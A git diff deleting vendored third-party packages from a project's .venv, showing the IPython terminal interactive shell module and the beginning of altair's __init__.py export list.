-from IPython.utils.terminal import toggle_set_term_title, set_term_title, restore_term_title
-from IPython.utils.process import abbrev_cwd
-from traitlets import (
-    Bool,
-    Unicode,
-    Dict,
-    Integer,
-    List,
-    observe,
-    Instance,
-    Type,
-    default,
-    Enum,
-    Union,
-    Any,
-    validate,
-    Float,
-)
-
-from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
-from prompt_toolkit.enums import DEFAULT_BUFFER, EditingMode
-from prompt_toolkit.filters import HasFocus, Condition, IsDone
-from prompt_toolkit.formatted_text import PygmentsTokens
-from prompt_toolkit.history import History
-from prompt_toolkit.layout.processors import ConditionalProcessor, HighlightMatchingBracketProcessor
-from prompt_toolkit.output import ColorDepth
-from prompt_toolkit.patch_stdout import patch_stdout
-from prompt_toolkit.shortcuts import PromptSession, CompleteStyle, print_formatted_text
-from prompt_toolkit.styles import DynamicStyle, merge_styles
-from prompt_toolkit.styles.pygments import style_from_pygments_cls, style_from_pygments_dict
-from prompt_toolkit import __version__ as ptk_version
-
-from pygments.styles import get_style_by_name
-from pygments.style import Style
-from pygments.token import Token
-
-from .debugger import TerminalPdb, Pdb
-from .magics import TerminalMagics
-from .pt_inputhooks import get_inputhook_name_and_func
-from .prompts import Prompts, ClassicPrompts, RichPromptDisplayHook
-from .ptutils import IPythonPTCompleter, IPythonPTLexer
-from .shortcuts import (
-    KEY_BINDINGS,
-    create_ipython_shortcuts,
-    create_identifier,
-    RuntimeBinding,
-    add_binding,
-)
-from .shortcuts.filters import KEYBINDING_FILTERS, filter_from_string
-from .shortcuts.auto_suggest import (
-    NavigableAutoSuggestFromHistory,
-    AppendAutoSuggestionInAnyLine,
-)
-
-PTK3 = ptk_version.startswith('3.')
-
-
-class _NoStyle(Style): pass
-
-
-
-_style_overrides_light_bg = {
-            Token.Prompt: '#ansibrightblue',
-            Token.PromptNum: '#ansiblue bold',
-            Token.OutPrompt: '#ansibrightred',
-            Token.OutPromptNum: '#ansired bold',
-}
-
-_style_overrides_linux = {
-            Token.Prompt: '#ansibrightgreen',
-            Token.PromptNum: '#ansigreen bold',
-            Token.OutPrompt: '#ansibrightred',
-            Token.OutPromptNum: '#ansired bold',
-}
-
-def get_default_editor():
-    try:
-        return os.environ['EDITOR']
-    except KeyError:
-        pass
-    except UnicodeError:
-        warn("$EDITOR environment variable is not pure ASCII. Using platform "
-             "default editor.")
-
-    if os.name == 'posix':
-        return 'vi'  # the only one guaranteed to be there!
-    else:
-        return 'notepad' # same in Windows!
-
-# conservatively check for tty
-# overridden streams can result in things like:
-# - sys.stdin = None
-# - no isatty method
-for _name in ('stdin', 'stdout', 'stderr'):
-    _stream = getattr(sys, _name)
-    try:
-        if not _stream or not hasattr(_stream, "isatty") or not _stream.isatty():
-            _is_tty = False
-            break
-    except ValueError:
-        # stream is closed
-        _is_tty = False
-        break
-else:
-    _is_tty = True
-
-
-_use_simple_prompt = ('IPY_TEST_SIMPLE_PROMPT' in os.environ) or (not _is_tty)
-
-def black_reformat_handler(text_before_cursor):
-    """
-    We do not need to protect against error,
-    this is taken care at a higher level where any reformat error is ignored.
-    Indeed we may call reformatting on incomplete code.
-    """
-    import black
-
-    formatted_text = black.format_str(text_before_cursor, mode=black.FileMode())
-    if not text_before_cursor.endswith("\n") and formatted_text.endswith("\n"):
-        formatted_text = formatted_text[:-1]
-    return formatted_text
-
-
-def yapf_reformat_handler(text_before_cursor):
-    from yapf.yapflib import file_resources
-    from yapf.yapflib import yapf_api
-
-    style_config = file_resources.GetDefaultStyleForDir(os.getcwd())
-    formatted_text, was_formatted = yapf_api.FormatCode(
-        text_before_cursor, style_config=style_config
-    )
-    if was_formatted:
-        if not text_before_cursor.endswith("\n") and formatted_text.endswith("\n"):
-            formatted_text = formatted_text[:-1]
-        return formatted_text
-    else:
-        return text_before_cursor
-
-
-class PtkHistoryAdapter(History):
-    """
-    Prompt toolkit has it's own way of handling history, Where it assumes it can
-    Push/pull from history.
-
-    """
-
-    def __init__(self, shell):
-        super().__init__()
-        self.shell = shell
-        self._refresh()
-
-    def append_string(self, string):
-        # we rely on sql for that.
-        self._loaded = False
-        self._refresh()
-
-    def _refresh(self):
-        if not self._loaded:
-            self._loaded_strings = list(self.load_history_strings())
-
-    def load_history_strings(self):
-        last_cell = ""
-        res = []
-        for __, ___, cell in self.shell.history_manager.get_tail(
-            self.shell.history_load_length, include_latest=True
-        ):
-            # Ignore blank lines and consecutive duplicates
-            cell = cell.rstrip()
-            if cell and (cell != last_cell):
-                res.append(cell)
-                last_cell = cell
-        yield from res[::-1]
-
-    def store_string(self, string: str) -> None:
-        pass
-
-class TerminalInteractiveShell(InteractiveShell):
-    mime_renderers = Dict().tag(config=True)
-
-    space_for_menu = Integer(6, help='Number of line at the bottom of the screen '
-                                     'to reserve for the tab completion menu, '
-                                     'search history, ...etc, the height of '
-                                     'these menus will at most this value. '
-                                     'Increase it is you prefer long and skinny '
-                                     'menus, decrease for short and wide.'
-                            ).tag(config=True)
-
-    pt_app: UnionType[PromptSession, None] = None
-    auto_suggest: UnionType[
-        AutoSuggestFromHistory, NavigableAutoSuggestFromHistory, None
-    ] = None
-    debugger_history = None
-
-    debugger_history_file = Unicode(
-        "~/.pdbhistory", help="File in which to store and read history"
-    ).tag(config=True)
-
-    simple_prompt = Bool(_use_simple_prompt,
-        help="""Use `raw_input` for the REPL, without completion and prompt colors.
-
-            Useful when controlling IPython as a subprocess, and piping STDIN/OUT/ERR. Known usage are:
-            IPython own testing machinery, and emacs inferior-shell integration through elpy.
-
-            This mode default to `True` if the `IPY_TEST_SIMPLE_PROMPT`
-            environment variable is set, or the current terminal is not a tty."""
-            ).tag(config=True)
-
-    @property
-    def debugger_cls(self):
-        return Pdb if self.simple_prompt else TerminalPdb
-
-    confirm_exit = Bool(True,
-        help="""
-        Set to confirm when you try to exit IPython with an EOF (Control-D
-        in Unix, Control-Z/Enter in Windows). By typing 'exit' or 'quit',
-        you can force a direct exit without any confirmation.""",
-    ).tag(config=True)
-
-    editing_mode = Unicode('emacs',
-        help="Shortcut style to use at the prompt. 'vi' or 'emacs'.",
-    ).tag(config=True)
-
-    emacs_bindings_in_vi_insert_mode = Bool(
-        True,
-        help="Add shortcuts from 'emacs' insert mode to 'vi' insert mode.",
-    ).tag(config=True)
-
-    modal_cursor = Bool(
-        True,
-        help="""
-       Cursor shape changes depending on vi mode: beam in vi insert mode,
-       block in nav mode, underscore in replace mode.""",
-    ).tag(config=True)
-
-    ttimeoutlen = Float(
-        0.01,
-        help="""The time in milliseconds that is waited for a key code
-       to complete.""",
-    ).tag(config=True)
-
-    timeoutlen = Float(
-        0.5,
-        help="""The time in milliseconds that is waited for a mapped key
-       sequence to complete.""",
-    ).tag(config=True)
-
-    autoformatter = Unicode(
-        None,
-        help="Autoformatter to reformat Terminal code. Can be `'black'`, `'yapf'` or `None`",
-        allow_none=True
-    ).tag(config=True)
-
-    auto_match = Bool(
-        False,
-        help="""
-        Automatically add/delete closing bracket or quote when opening bracket or quote is entered/deleted.
-        Brackets: (), [], {}
-        Quotes: '', \"\"
-        """,
-    ).tag(config=True)
-
-    mouse_support = Bool(False,
-        help="Enable mouse support in the prompt\n(Note: prevents selecting text with the mouse)"
-    ).tag(config=True)
-
-    # We don't load the list of styles for the help string, because loading
-    # Pygments plugins takes time and can cause unexpected errors.
-    highlighting_style = Union([Unicode('legacy'), Type(klass=Style)],
-        help="""The name or class of a Pygments style to use for syntax
-        highlighting. To see available styles, run `pygmentize -L styles`."""
-    ).tag(config=True)
-
-    @validate('editing_mode')
-    def _validate_editing_mode(self, proposal):
-        if proposal['value'].lower() == 'vim':
-            proposal['value']= 'vi'
-        elif proposal['value'].lower() == 'default':
-            proposal['value']= 'emacs'
-
-        if hasattr(EditingMode, proposal['value'].upper()):
-            return proposal['value'].lower()
-
-        return self.editing_mode
-
-
-    @observe('editing_mode')
-    def _editing_mode(self, change):
-        if self.pt_app:
-            self.pt_app.editing_mode = getattr(EditingMode, change.new.upper())
-
-    def _set_formatter(self, formatter):
-        if formatter is None:
-            self.reformat_handler = lambda x:x
-        elif formatter == 'black':
-            self.reformat_handler = black_reformat_handler
-        elif formatter == "yapf":
-            self.reformat_handler = yapf_reformat_handler
-        else:
-            raise ValueError
-
-    @observe("autoformatter")
-    def _autoformatter_changed(self, change):
-        formatter = change.new
-        self._set_formatter(formatter)
-
-    @observe('highlighting_style')
-    @observe('colors')
-    def _highlighting_style_changed(self, change):
-        self.refresh_style()
-
-    def refresh_style(self):
-        self._style = self._make_style_from_name_or_cls(self.highlighting_style)
-
-
-    highlighting_style_overrides = Dict(
-        help="Override highlighting format for specific tokens"
-    ).tag(config=True)
-
-    true_color = Bool(False,
-        help="""Use 24bit colors instead of 256 colors in prompt highlighting.
-        If your terminal supports true color, the following command should
-        print ``TRUECOLOR`` in orange::
-
-            printf \"\\x1b[38;2;255;100;0mTRUECOLOR\\x1b[0m\\n\"
-        """,
-    ).tag(config=True)
-
-    editor = Unicode(get_default_editor(),
-        help="Set the editor used by IPython (default to $EDITOR/vi/notepad)."
-    ).tag(config=True)
-
-    prompts_class = Type(Prompts, help='Class used to generate Prompt token for prompt_toolkit').tag(config=True)
-
-    prompts = Instance(Prompts)
-
-    @default('prompts')
-    def _prompts_default(self):
-        return self.prompts_class(self)
-
-#    @observe('prompts')
-#    def _(self, change):
-#        self._update_layout()
-
-    @default('displayhook_class')
-    def _displayhook_class_default(self):
-        return RichPromptDisplayHook
-
-    term_title = Bool(True,
-        help="Automatically set the terminal title"
-    ).tag(config=True)
-
-    term_title_format = Unicode("IPython: {cwd}",
-        help="Customize the terminal title format.  This is a python format string. " +
-             "Available substitutions are: {cwd}."
-    ).tag(config=True)
-
-    display_completions = Enum(('column', 'multicolumn','readlinelike'),
-        help= ( "Options for displaying tab completions, 'column', 'multicolumn', and "
-                "'readlinelike'. These options are for `prompt_toolkit`, see "
-                "`prompt_toolkit` documentation for more information."
-                ),
-        default_value='multicolumn').tag(config=True)
-
-    highlight_matching_brackets = Bool(True,
-        help="Highlight matching brackets.",
-    ).tag(config=True)
-
-    extra_open_editor_shortcuts = Bool(False,
-        help="Enable vi (v) or Emacs (C-X C-E) shortcuts to open an external editor. "
-             "This is in addition to the F2 binding, which is always enabled."
-    ).tag(config=True)
-
-    handle_return = Any(None,
-        help="Provide an alternative handler to be called when the user presses "
-             "Return. This is an advanced option intended for debugging, which "
-             "may be changed or removed in later releases."
-    ).tag(config=True)
-
-    enable_history_search = Bool(True,
-        help="Allows to enable/disable the prompt toolkit history search"
-    ).tag(config=True)
-
-    autosuggestions_provider = Unicode(
-        "NavigableAutoSuggestFromHistory",
-        help="Specifies from which source automatic suggestions are provided. "
-        "Can be set to ``'NavigableAutoSuggestFromHistory'`` (:kbd:`up` and "
-        ":kbd:`down` swap suggestions), ``'AutoSuggestFromHistory'``, "
-        " or ``None`` to disable automatic suggestions. "
-        "Default is `'NavigableAutoSuggestFromHistory`'.",
-        allow_none=True,
-    ).tag(config=True)
-
-    def _set_autosuggestions(self, provider):
-        # disconnect old handler
-        if self.auto_suggest and isinstance(
-            self.auto_suggest, NavigableAutoSuggestFromHistory
-        ):
-            self.auto_suggest.disconnect()
-        if provider is None:
-            self.auto_suggest = None
-        elif provider == "AutoSuggestFromHistory":
-            self.auto_suggest = AutoSuggestFromHistory()
-        elif provider == "NavigableAutoSuggestFromHistory":
-            self.auto_suggest = NavigableAutoSuggestFromHistory()
-        else:
-            raise ValueError("No valid provider.")
-        if self.pt_app:
-            self.pt_app.auto_suggest = self.auto_suggest
-
-    @observe("autosuggestions_provider")
-    def _autosuggestions_provider_changed(self, change):
-        provider = change.new
-        self._set_autosuggestions(provider)
-
-    shortcuts = List(
-        trait=Dict(
-            key_trait=Enum(
-                [
-                    "command",
-                    "match_keys",
-                    "match_filter",
-                    "new_keys",
-                    "new_filter",
-                    "create",
-                ]
-            ),
-            per_key_traits={
-                "command": Unicode(),
-                "match_keys": List(Unicode()),
-                "match_filter": Unicode(),
-                "new_keys": List(Unicode()),
-                "new_filter": Unicode(),
-                "create": Bool(False),
-            },
-        ),
-        help="""Add, disable or modifying shortcuts.
-
-        Each entry on the list should be a dictionary with ``command`` key
-        identifying the target function executed by the shortcut and at least
-        one of the following:
-
-        - ``match_keys``: list of keys used to match an existing shortcut,
-        - ``match_filter``: shortcut filter used to match an existing shortcut,
-        - ``new_keys``: list of keys to set,
-        - ``new_filter``: a new shortcut filter to set
-
-        The filters have to be composed of pre-defined verbs and joined by one
-        of the following conjunctions: ``&`` (and), ``|`` (or), ``~`` (not).
-        The pre-defined verbs are:
-
-        {}
-
-
-        To disable a shortcut set ``new_keys`` to an empty list.
-        To add a shortcut add key ``create`` with value ``True``.
-
-        When modifying/disabling shortcuts, ``match_keys``/``match_filter`` can
-        be omitted if the provided specification uniquely identifies a shortcut
-        to be modified/disabled. When modifying a shortcut ``new_filter`` or
-        ``new_keys`` can be omitted which will result in reuse of the existing
-        filter/keys.
-
-        Only shortcuts defined in IPython (and not default prompt-toolkit
-        shortcuts) can be modified or disabled. The full list of shortcuts,
-        command identifiers and filters is available under
-        :ref:`terminal-shortcuts-list`.
-        """.format(
-            "\n        ".join([f"- `{k}`" for k in KEYBINDING_FILTERS])
-        ),
-    ).tag(config=True)
-
-    @observe("shortcuts")
-    def _shortcuts_changed(self, change):
-        if self.pt_app:
-            self.pt_app.key_bindings = self._merge_shortcuts(user_shortcuts=change.new)
-
-    def _merge_shortcuts(self, user_shortcuts):
-        # rebuild the bindings list from scratch
-        key_bindings = create_ipython_shortcuts(self)
-
-        # for now we only allow adding shortcuts for commands which are already
-        # registered; this is a security precaution.
-        known_commands = {
-            create_identifier(binding.command): binding.command
-            for binding in KEY_BINDINGS
-        }
-        shortcuts_to_skip = []
-        shortcuts_to_add = []
-
-        for shortcut in user_shortcuts:
-            command_id = shortcut["command"]
-            if command_id not in known_commands:
-                allowed_commands = "\n - ".join(known_commands)
-                raise ValueError(
-                    f"{command_id} is not a known shortcut command."
-                    f" Allowed commands are: \n - {allowed_commands}"
-                )
-            old_keys = shortcut.get("match_keys", None)
-            old_filter = (
-                filter_from_string(shortcut["match_filter"])
-                if "match_filter" in shortcut
-                else None
-            )
-            matching = [
-                binding
-                for binding in KEY_BINDINGS
-                if (
-                    (old_filter is None or binding.filter == old_filter)
-                    and (old_keys is None or [k for k in binding.keys] == old_keys)
-                    and create_identifier(binding.command) == command_id
-                )
-            ]
-
-            new_keys = shortcut.get("new_keys", None)
-            new_filter = shortcut.get("new_filter", None)
-
-            command = known_commands[command_id]
-
-            creating_new = shortcut.get("create", False)
-            modifying_existing = not creating_new and (
-                new_keys is not None or new_filter
-            )
-
-            if creating_new and new_keys == []:
-                raise ValueError("Cannot add a shortcut without keys")
-
-            if modifying_existing:
-                specification = {
-                    key: shortcut[key]
-                    for key in ["command", "filter"]
-                    if key in shortcut
-                }
-                if len(matching) == 0:
-                    raise ValueError(
-                        f"No shortcuts matching {specification} found in {KEY_BINDINGS}"
-                    )
-                elif len(matching) > 1:
-                    raise ValueError(
-                        f"Multiple shortcuts matching {specification} found,"
-                        f" please add keys/filter to select one of: {matching}"
-                    )
-
-                matched = matching[0]
-                old_filter = matched.filter
-                old_keys = list(matched.keys)
-                shortcuts_to_skip.append(
-                    RuntimeBinding(
-                        command,
-                        keys=old_keys,
-                        filter=old_filter,
-                    )
-                )
-
-            if new_keys != []:
-                shortcuts_to_add.append(
-                    RuntimeBinding(
-                        command,
-                        keys=new_keys or old_keys,
-                        filter=filter_from_string(new_filter)
-                        if new_filter is not None
-                        else (
-                            old_filter
-                            if old_filter is not None
-                            else filter_from_string("always")
-                        ),
-                    )
-                )
-
-        # rebuild the bindings list from scratch
-        key_bindings = create_ipython_shortcuts(self, skip=shortcuts_to_skip)
-        for binding in shortcuts_to_add:
-            add_binding(key_bindings, binding)
-
-        return key_bindings
-
-    prompt_includes_vi_mode = Bool(True,
-        help="Display the current vi mode (when using vi editing mode)."
-    ).tag(config=True)
-
-    @observe('term_title')
-    def init_term_title(self, change=None):
-        # Enable or disable the terminal title.
-        if self.term_title and _is_tty:
-            toggle_set_term_title(True)
-            set_term_title(self.term_title_format.format(cwd=abbrev_cwd()))
-        else:
-            toggle_set_term_title(False)
-
-    def restore_term_title(self):
-        if self.term_title and _is_tty:
-            restore_term_title()
-
-    def init_display_formatter(self):
-        super(TerminalInteractiveShell, self).init_display_formatter()
-        # terminal only supports plain text
-        self.display_formatter.active_types = ["text/plain"]
-
-    def init_prompt_toolkit_cli(self):
-        if self.simple_prompt:
-            # Fall back to plain non-interactive output for tests.
-            # This is very limited.
-            def prompt():
-                prompt_text = "".join(x[1] for x in self.prompts.in_prompt_tokens())
-                lines = [input(prompt_text)]
-                prompt_continuation = "".join(x[1] for x in self.prompts.continuation_prompt_tokens())
-                while self.check_complete('\n'.join(lines))[0] == 'incomplete':
-                    lines.append( input(prompt_continuation) )
-                return '\n'.join(lines)
-            self.prompt_for_code = prompt
-            return
-
-        # Set up keyboard shortcuts
-        key_bindings = self._merge_shortcuts(user_shortcuts=self.shortcuts)
-
-        # Pre-populate history from IPython's history database
-        history = PtkHistoryAdapter(self)
-
-        self._style = self._make_style_from_name_or_cls(self.highlighting_style)
-        self.style = DynamicStyle(lambda: self._style)
-
-        editing_mode = getattr(EditingMode, self.editing_mode.upper())
-
-        self.pt_loop = asyncio.new_event_loop()
-        self.pt_app = PromptSession(
-            auto_suggest=self.auto_suggest,
-            editing_mode=editing_mode,
-            key_bindings=key_bindings,
-            history=history,
-            completer=IPythonPTCompleter(shell=self),
-            enable_history_search=self.enable_history_search,
-            style=self.style,
-            include_default_pygments_style=False,
-            mouse_support=self.mouse_support,
-            enable_open_in_editor=self.extra_open_editor_shortcuts,
-            color_depth=self.color_depth,
-            tempfile_suffix=".py",
-            **self._extra_prompt_options(),
-        )
-        if isinstance(self.auto_suggest, NavigableAutoSuggestFromHistory):
-            self.auto_suggest.connect(self.pt_app)
-
-    def _make_style_from_name_or_cls(self, name_or_cls):
-        """
-        Small wrapper that make an IPython compatible style from a style name
-
-        We need that to add style for prompt ... etc.
-        """
-        style_overrides = {}
-        if name_or_cls == 'legacy':
-            legacy = self.colors.lower()
-            if legacy == 'linux':
-                style_cls = get_style_by_name('monokai')
-                style_overrides = _style_overrides_linux
-            elif legacy == 'lightbg':
-                style_overrides = _style_overrides_light_bg
-                style_cls = get_style_by_name('pastie')
-            elif legacy == 'neutral':
-                # The default theme needs to be visible on both a dark background
-                # and a light background, because we can't tell what the terminal
-                # looks like. These tweaks to the default theme help with that.
-                style_cls = get_style_by_name('default')
-                style_overrides.update({
-                    Token.Number: '#ansigreen',
-                    Token.Operator: 'noinherit',
-                    Token.String: '#ansiyellow',
-                    Token.Name.Function: '#ansiblue',
-                    Token.Name.Class: 'bold #ansiblue',
-                    Token.Name.Namespace: 'bold #ansiblue',
-                    Token.Name.Variable.Magic: '#ansiblue',
-                    Token.Prompt: '#ansigreen',
-                    Token.PromptNum: '#ansibrightgreen bold',
-                    Token.OutPrompt: '#ansired',
-                    Token.OutPromptNum: '#ansibrightred bold',
-                })
-
-                # Hack: Due to limited color support on the Windows console
-                # the prompt colors will be wrong without this
-                if os.name == 'nt':
-                    style_overrides.update({
-                        Token.Prompt: '#ansidarkgreen',
-                        Token.PromptNum: '#ansigreen bold',
-                        Token.OutPrompt: '#ansidarkred',
-                        Token.OutPromptNum: '#ansired bold',
-                    })
-            elif legacy =='nocolor':
-                style_cls=_NoStyle
-                style_overrides = {}
-            else :
-                raise ValueError('Got unknown colors: ', legacy)
-        else :
-            if isinstance(name_or_cls, str):
-                style_cls = get_style_by_name(name_or_cls)
-            else:
-                style_cls = name_or_cls
-            style_overrides = {
-                Token.Prompt: '#ansigreen',
-                Token.PromptNum: '#ansibrightgreen bold',
-                Token.OutPrompt: '#ansired',
-                Token.OutPromptNum: '#ansibrightred bold',
-            }
-        style_overrides.update(self.highlighting_style_overrides)
-        style = merge_styles([
-            style_from_pygments_cls(style_cls),
-            style_from_pygments_dict(style_overrides),
-        ])
-
-        return style
-
-    @property
-    def pt_complete_style(self):
-        return {
-            'multicolumn': CompleteStyle.MULTI_COLUMN,
-            'column': CompleteStyle.COLUMN,
-            'readlinelike': CompleteStyle.READLINE_LIKE,
-        }[self.display_completions]
-
-    @property
-    def color_depth(self):
-        return (ColorDepth.TRUE_COLOR if self.true_color else None)
-
-    def _extra_prompt_options(self):
-        """
-        Return the current layout option for the current Terminal InteractiveShell
-        """
-        def get_message():
-            return PygmentsTokens(self.prompts.in_prompt_tokens())
-
-        if self.editing_mode == 'emacs':
-            # with emacs mode the prompt is (usually) static, so we call only
-            # the function once. With VI mode it can toggle between [ins] and
-            # [nor] so we can't precompute.
-            # here I'm going to favor the default keybinding which almost
-            # everybody uses to decrease CPU usage.
-            # if we have issues with users with custom Prompts we can see how to
-            # work around this.
-            get_message = get_message()
-
-        options = {
-            "complete_in_thread": False,
-            "lexer": IPythonPTLexer(),
-            "reserve_space_for_menu": self.space_for_menu,
-            "message": get_message,
-            "prompt_continuation": (
-                lambda width, lineno, is_soft_wrap: PygmentsTokens(
-                    self.prompts.continuation_prompt_tokens(width)
-                )
-            ),
-            "multiline": True,
-            "complete_style": self.pt_complete_style,
-            "input_processors": [
-                # Highlight matching brackets, but only when this setting is
-                # enabled, and only when the DEFAULT_BUFFER has the focus.
-                ConditionalProcessor(
-                    processor=HighlightMatchingBracketProcessor(chars="[](){}"),
-                    filter=HasFocus(DEFAULT_BUFFER)
-                    & ~IsDone()
-                    & Condition(lambda: self.highlight_matching_brackets),
-                ),
-                # Show auto-suggestion in lines other than the last line.
-                ConditionalProcessor(
-                    processor=AppendAutoSuggestionInAnyLine(),
-                    filter=HasFocus(DEFAULT_BUFFER)
-                    & ~IsDone()
-                    & Condition(
-                        lambda: isinstance(
-                            self.auto_suggest, NavigableAutoSuggestFromHistory
-                        )
-                    ),
-                ),
-            ],
-        }
-        if not PTK3:
-            options['inputhook'] = self.inputhook
-
-        return options
-
-    def prompt_for_code(self):
-        if self.rl_next_input:
-            default = self.rl_next_input
-            self.rl_next_input = None
-        else:
-            default = ''
-
-        # In order to make sure that asyncio code written in the
-        # interactive shell doesn't interfere with the prompt, we run the
-        # prompt in a different event loop.
-        # If we don't do this, people could spawn coroutine with a
-        # while/true inside which will freeze the prompt.
-
-        policy = asyncio.get_event_loop_policy()
-        old_loop = get_asyncio_loop()
-
-        # FIXME: prompt_toolkit is using the deprecated `asyncio.get_event_loop`
-        # to get the current event loop.
-        # This will probably be replaced by an attribute or input argument,
-        # at which point we can stop calling the soon-to-be-deprecated `set_event_loop` here.
-        if old_loop is not self.pt_loop:
-            policy.set_event_loop(self.pt_loop)
-        try:
-            with patch_stdout(raw=True):
-                text = self.pt_app.prompt(
-                    default=default,
-                    **self._extra_prompt_options())
-        finally:
-            # Restore the original event loop.
-            if old_loop is not None and old_loop is not self.pt_loop:
-                policy.set_event_loop(old_loop)
-
-        return text
-
-    def enable_win_unicode_console(self):
-        # Since IPython 7.10 doesn't support python < 3.6 and PEP 528, Python uses the unicode APIs for the Windows
-        # console by default, so WUC shouldn't be needed.
-        warn("`enable_win_unicode_console` is deprecated since IPython 7.10, does not do anything and will be removed in the future",
-             DeprecationWarning,
-             stacklevel=2)
-
-    def init_io(self):
-        if sys.platform not in {'win32', 'cli'}:
-            return
-
-        import colorama
-        colorama.init()
-
-    def init_magics(self):
-        super(TerminalInteractiveShell, self).init_magics()
-        self.register_magics(TerminalMagics)
-
-    def init_alias(self):
-        # The parent class defines aliases that can be safely used with any
-        # frontend.
-        super(TerminalInteractiveShell, self).init_alias()
-
-        # Now define aliases that only make sense on the terminal, because they
-        # need direct access to the console in a way that we can't emulate in
-        # GUI or web frontend
-        if os.name == 'posix':
-            for cmd in ('clear', 'more', 'less', 'man'):
-                self.alias_manager.soft_define_alias(cmd, cmd)
-
-
-    def __init__(self, *args, **kwargs) -> None:
-        super(TerminalInteractiveShell, self).__init__(*args, **kwargs)
-        self._set_autosuggestions(self.autosuggestions_provider)
-        self.init_prompt_toolkit_cli()
-        self.init_term_title()
-        self.keep_running = True
-        self._set_formatter(self.autoformatter)
-
-
-    def ask_exit(self):
-        self.keep_running = False
-
-    rl_next_input = None
-
-    def interact(self):
-        self.keep_running = True
-        while self.keep_running:
-            print(self.separate_in, end='')
-
-            try:
-                code = self.prompt_for_code()
-            except EOFError:
-                if (not self.confirm_exit) \
-                        or self.ask_yes_no('Do you really want to exit ([y]/n)?','y','n'):
-                    self.ask_exit()
-
-            else:
-                if code:
-                    self.run_cell(code, store_history=True)
-
-    def mainloop(self):
-        # An extra layer of protection in case someone mashing Ctrl-C breaks
-        # out of our internal code.
-        while True:
-            try:
-                self.interact()
-                break
-            except KeyboardInterrupt as e:
-                print("\n%s escaped interact()\n" % type(e).__name__)
-            finally:
-                # An interrupt during the eventloop will mess up the
-                # internal state of the prompt_toolkit library.
-                # Stopping the eventloop fixes this, see
-                # https://github.com/ipython/ipython/pull/9867
-                if hasattr(self, '_eventloop'):
-                    self._eventloop.stop()
-
-                self.restore_term_title()
-
-        # try to call some at-exit operation optimistically as some things can't
-        # be done during interpreter shutdown. this is technically inaccurate as
-        # this make mainlool not re-callable, but that should be a rare if not
-        # in existent use case.
-
-        self._atexit_once()
-
-
-    _inputhook = None
-    def inputhook(self, context):
-        if self._inputhook is not None:
-            self._inputhook(context)
-
-    active_eventloop = None
-    def enable_gui(self, gui=None):
-        if self._inputhook is None and gui is None:
-            print("No event loop hook running.")
-            return
-
-        if self._inputhook is not None and gui is not None:
-            print(
-                f"Shell is already running a gui event loop for {self.active_eventloop}. "
-                "Call with no arguments to disable the current loop."
-            )
-            return
-        if self._inputhook is not None and gui is None:
-            self.active_eventloop = self._inputhook = None
-
-        if gui and (gui not in {"inline", "webagg"}):
-            # This hook runs with each cycle of the `prompt_toolkit`'s event loop.
-            self.active_eventloop, self._inputhook = get_inputhook_name_and_func(gui)
-        else:
-            self.active_eventloop = self._inputhook = None
-
-        # For prompt_toolkit 3.0. We have to create an asyncio event loop with
-        # this inputhook.
-        if PTK3:
-            import asyncio
-            from prompt_toolkit.eventloop import new_eventloop_with_inputhook
-
-            if gui == 'asyncio':
-                # When we integrate the asyncio event loop, run the UI in the
-                # same event loop as the rest of the code. don't use an actual
-                # input hook. (Asyncio is not made for nesting event loops.)
-                self.pt_loop = get_asyncio_loop()
-                print("Installed asyncio event loop hook.")
-
-            elif self._inputhook:
-                # If an inputhook was set, create a new asyncio event loop with
-                # this inputhook for the prompt.
-                self.pt_loop = new_eventloop_with_inputhook(self._inputhook)
-                print(f"Installed {self.active_eventloop} event loop hook.")
-            else:
-                # When there's no inputhook, run the prompt in a separate
-                # asyncio event loop.
-                self.pt_loop = asyncio.new_event_loop()
-                print("GUI event loop hook disabled.")
-
-    # Run !system commands directly, not through pipes, so terminal programs
-    # work correctly.
-    system = InteractiveShell.system_raw
-
-    def auto_rewrite_input(self, cmd):
-        """Overridden from the parent class to use fancy rewriting prompt"""
-        if not self.show_rewritten_input:
-            return
-
-        tokens = self.prompts.rewrite_prompt_tokens()
-        if self.pt_app:
-            print_formatted_text(PygmentsTokens(tokens), end='',
-                                 style=self.pt_app.app.style)
-            print(cmd)
-        else:
-            prompt = ''.join(s for t, s in tokens)
-            print(prompt, cmd, sep='')
-
-    _prompts_before = None
-    def switch_doctest_mode(self, mode):
-        """Switch prompts to classic for %doctest_mode"""
-        if mode:
-            self._prompts_before = self.prompts
-            self.prompts = ClassicPrompts(self)
-        elif self._prompts_before:
-            self.prompts = self._prompts_before
-            self._prompts_before = None
-#        self._update_layout()
-
-
-InteractiveShellABC.register(TerminalInteractiveShell)
-
-if __name__ == '__main__':
-    TerminalInteractiveShell.instance().interact()
diff --git a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/altair/__init__.py b/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/altair/__init__.py
deleted file mode 100644
index ad57eb9d3889bfbf5bbe868b0eaae7aa4d3049c1..0000000000000000000000000000000000000000
--- a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/altair/__init__.py
+++ /dev/null
@@ -1,613 +0,0 @@
-# ruff: noqa
-__version__ = "5.0.1"
-
-from typing import Any
-
-# Necessary as mypy would see expr as the module alt.expr although due to how
-# the imports are set up it is expr in the alt.expr module
-expr: Any
-
-
-# The content of __all__ is automatically written by
-# tools/update_init_file.py. Do not modify directly.
-__all__ = [
-    "Aggregate",
-    "AggregateOp",
-    "AggregateTransform",
-    "AggregatedFieldDef",
-    "Align",
-    "AllSortString",
-    "Angle",
-    "AngleDatum",
-    "AngleValue",
-    "AnyMark",
-    "AnyMarkConfig",
-    "AreaConfig",
-    "ArgmaxDef",
-    "ArgminDef",
-    "AutoSizeParams",
-    "AutosizeType",
-    "Axis",
-    "AxisConfig",
-    "AxisOrient",
-    "AxisResolveMap",
-    "BBox",
-    "BarConfig",
-    "BaseTitleNoValueRefs",
-    "Baseline",
-    "Bin",
-    "BinExtent",
-    "BinParams",
-    "BinTransform",
-    "BindCheckbox",
-    "BindDirect",
-    "BindInput",
-    "BindRadioSelect",
-    "BindRange",
-    "Binding",
-    "Blend",
-    "BoxPlot",
-    "BoxPlotConfig",
-    "BoxPlotDef",
-    "BrushConfig",
-    "CalculateTransform",
-    "Categorical",
-    "Chart",
-    "Color",
-    "ColorDatum",
-    "ColorDef",
-    "ColorName",
-    "ColorScheme",
-    "ColorValue",
-    "Column",
-    "CompositeMark",
-    "CompositeMarkDef",
-    "CompositionConfig",
-    "ConcatChart",
-    "ConcatSpecGenericSpec",
-    "ConditionalAxisColor",
-    "ConditionalAxisLabelAlign",
